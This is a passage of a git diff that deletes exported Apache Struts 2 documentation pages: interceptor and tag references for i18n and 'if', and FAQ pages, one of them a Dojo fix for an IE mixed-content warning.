-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="i18n-interceptor.html">I18n Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">I18n Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13919">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13919">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13919">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13919">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13919">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13919">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="I18nInterceptor-Description">Description</h2><p>An interceptor that handles setting the locale specified in a session as the locale for the current action request. In addition, this interceptor will look for a specific HTTP request parameter and set the locale to whatever value is provided, it also looks for specific cookie to read locale from. This means that this interceptor can be used to allow for your application to dynamically change  [...]
-
-&lt;action name="someAction" class="com.examples.SomeAction"&gt;
-    &lt;interceptor-ref name="i18nCookie"&gt;
-        &lt;param name="localeStorage"&gt;cookie&lt;/param&gt;
-    &lt;/interceptor-ref&gt;
-    &lt;interceptor-ref name="basicStack"/&gt;
-    &lt;result name="success"&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;</plain-text-body><p>&#160;</p><p>&#160;</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/i18n.html b/content/docs/i18n.html
deleted file mode 100644
index b30bfc8..0000000
--- a/content/docs/i18n.html
+++ /dev/null
@@ -1,176 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>i18n</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="i18n.html">i18n</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">i18n</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13880">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13880">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13880">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13880">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13880">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13880">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-
-<h1 id="i18n-Description">Description</h1>
-
-
-<p>Gets a resource bundle and place it on the value stack. This allows
-the text tag to access messages from any bundle, and not just the bundle
-associated with the current action.</p>
-
-
-<h1 id="i18n-Parameters">Parameters</h1>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-<h1 id="i18n-Examples">Examples</h1>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;s:i18n name=&quot;myCustomBundle&quot;&gt;
-   The i18n value for key aaa.bbb.ccc in myCustomBundle is &lt;s:property value=&quot;text(&#39;aaa.bbb.ccc&#39;)&quot; /&gt;
-&lt;/s:i18n&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/ie-showing-a-prompt-saying-this-page-contains-both-secure-and-nonsecure-items-when-using-dojo.html b/content/docs/ie-showing-a-prompt-saying-this-page-contains-both-secure-and-nonsecure-items-when-using-dojo.html
deleted file mode 100644
index 615a741..0000000
--- a/content/docs/ie-showing-a-prompt-saying-this-page-contains-both-secure-and-nonsecure-items-when-using-dojo.html
+++ /dev/null
@@ -1,183 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>IE showing a prompt saying "This page contains both secure and nonsecure items" when using dojo</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="ie-showing-a-prompt-saying-this-page-contains-both-secure-and-nonsecure-items-when-using-dojo.html">IE showing a prompt saying "This page contains both secure and nonsecure items" when using dojo</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">IE showing a prompt saying "This page contains both secure and nonsecure items" when using dojo</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14114">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14114">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14114">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14114">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14114">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14114">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>The "security and nonsecure items" message in IE is being caused by an issue in Dojo. For more, see the discussion on the <a shape="rect" class="external-link" href="http://forums.opensymphony.com/thread.jspa?messageID=54257" rel="nofollow">WebWork forum</a>.</p>
-
-<p>There is a workaround available from the <a shape="rect" class="external-link" href="http://permalink.gmane.org/gmane.comp.web.dojo.user/5871" rel="nofollow">Dojo mailng list</a>.</p>
-
-<p>In short, line 79 in <code>dojo/src/storage/browser.js</code></p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-storeParts.push('codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"');
-</pre>
-</div></div>
-<p>should be replaced with</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-storeParts.push('codebase="https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"');
-</pre>
-</div></div>
-
-<p>Also try to search dojo.js and see if the following exists</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-_607.push("\tcodebase=\"http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\"");
-</pre>
-</div></div>
-
-<p>if it does should be replaced with</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-_607.push("\tcodebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0\"");
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/if.html b/content/docs/if.html
deleted file mode 100644
index b72a9bd..0000000
--- a/content/docs/if.html
+++ /dev/null
@@ -1,150 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>if</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="if.html">if</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">if</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14179">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14179">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14179">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14179">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14179">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14179">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><rich-text-body><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></rich-text-body>
-
-<h2 id="if-Description">Description</h2>
-
-<p>Perform basic condition flow. 'If' tag could be used by itself or can be followed by zero or more 'Else if' Tags followed by zero or one 'Else' Tag.</p>
-
-<h2 id="if-Parameters">Parameters</h2>
-
-<plain-text-body>{snippet:id=tagattributes|javadoc=false|url=struts2-tags/if.html}</plain-text-body>
-
-<h2 id="if-Examples">Examples</h2>
-
-<plain-text-body>{snippet:id=example|lang=xml|javadoc=true|url=struts2/core/src/main/java/org/apache/struts2/components/If.java}</plain-text-body></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/im-trying-to-run-the-example-in-the-tutorial-on-tomcat-and-it-cant-instantiate-the-velocityengine.html b/content/docs/im-trying-to-run-the-example-in-the-tutorial-on-tomcat-and-it-cant-instantiate-the-velocityengine.html
deleted file mode 100644
index 5823232..0000000
--- a/content/docs/im-trying-to-run-the-example-in-the-tutorial-on-tomcat-and-it-cant-instantiate-the-velocityengine.html
+++ /dev/null
@@ -1,190 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>I'm trying to run the example in the tutorial on Tomcat, and it can't instantiate the VelocityEngine</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="im-trying-to-run-the-example-in-the-tutorial-on-tomcat-and-it-cant-instantiate-the-velocityengine.html">I'm trying to run the example in the tutorial on Tomcat, and it can't instantiate the VelocityEngine</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
